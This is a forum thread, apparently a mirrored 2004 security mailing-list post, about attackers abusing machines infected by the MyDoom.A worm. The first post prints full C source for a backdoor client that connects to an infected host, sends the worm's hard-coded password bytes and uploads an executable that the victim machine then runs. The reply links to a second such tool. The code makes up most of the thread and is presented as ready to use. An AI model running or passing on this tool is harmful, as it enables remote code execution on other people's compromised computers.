Likes Likes:  0
Resultaten 1 tot 2 van de 2
Geen
  1. #1
    K-OTiK Security
    MyDoom.A Machines : The new P2P Sharing Network ...
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    MyDoom.A Machines : The new P2P Sharing Network ...



    As you know MyDoom.A machines are exploited by MyDoom.C and Vesser - There is a faster and more dangerous worm exploiting these machines : his name is "kiddies" !!

    so here is one of the codes used by hax0rz to exploit Mydoom.A machines (many other codes in the wild)

    Regards.
    Fabien // K-OTik Staff
    http://www.k-otik.com


    // MyDoom.A Upload/Exec Backdoor
    #include <stdio.h>
    #include <string.h>
    #include <winsock.h>

    #pragma lib <ws2_32.lib>

    int main(int argc,char *argv[]) {
    int sockfd, numbytes;

    struct hostent *he;
    struct sockaddr_in their_addr;
    char doompassword[] = "\x85\x13\x3c\x9e\xa2";
    char buf[1024];
    int read=0;
    FILE *fuckfile;
    WSADATA wsaData;

    if(argc<3)
    {
    printf("****************************************** *********\n");
    printf("***** MyDoom.A Upload/Exec Backdoor*****\n");
    printf("**** Usage: %s <ip> <port> <program to upload> ****\n", argv[0]);
    printf("****************************************** *********\n");
    return -1;
    }
    printf("[+] Opening File\n");

    fuckfile = fopen(argv[3],"rb");
    if (fuckfile==NULL) {
    printf("[-] Open Failed\n");
    return -1;
    }
    printf("[+] File found ready to send\n");
    if(WSAStartup(0x101,&wsaData))
    {
    printf("[-] Unable to load winsock.\n");
    return -1;
    }
    if ((he=gethostbyname(argv[1])) == NULL) { // get the host info
    printf("[-] GetHostByName() Error!\n");
    return -1;
    }
    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
    printf("[-] Can't open socket!\n");
    return -1;
    }
    their_addr.sin_family = AF_INET; // host byte order
    their_addr.sin_port = htons(atoi(argv[2])); // port
    their_addr.sin_addr = *((struct in_addr *)he->h_addr);
    //memset(&(their_addr.sin_zero), '\0', 8); // zero the rest of the struct
    if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct sockaddr)) == -1) {
    printf("[-] Connecting error\n");
    return -1;
    }
    printf("[+] Connected\n[+] Sending executable.\n");
    send(sockfd,doompassword,5,0); //sending the password
    while (!feof(fuckfile)) {
    read = fread(buf,sizeof(char),sizeof(buf),fuckfile);
    if ((numbytes=send(sockfd,buf,read,0)) == -1) {
    printf("[-] Sending executable failed\n");
    return -1;
    }
    printf(".");
    }
    printf("[+] All done, server have now executed your executable!\n");
    closesocket(sockfd);
    WSACleanup();
    return 0;
    }



  2. #2
    Nicolas Gregoire
    MyDoom.A Machines : The new P2P Sharing Network ...
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: MyDoom.A Machines : The new P2P Sharing Network ...

    On Tue, 2004-02-10 at 16:49, K-OTiK Security wrote:

    > so here is one of the codes used by hax0rz to exploit Mydoom.A machines


    Here's another one :
    http://www.coromputer.net/index?m=files&s=1&l=2


    Regards,
    --
    Nicolas Gregoire ----- Consultant en Sécurité des Systèmes d'Information
    ngregoire@exaprobe.com ------[ ExaProbe ]------ http://www.exaprobe.com/
    PGP KeyID:CA61B44F FingerPrint:1CC647FF1A55664BA2D2AFDACA6A21DACA61B4 4F


Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics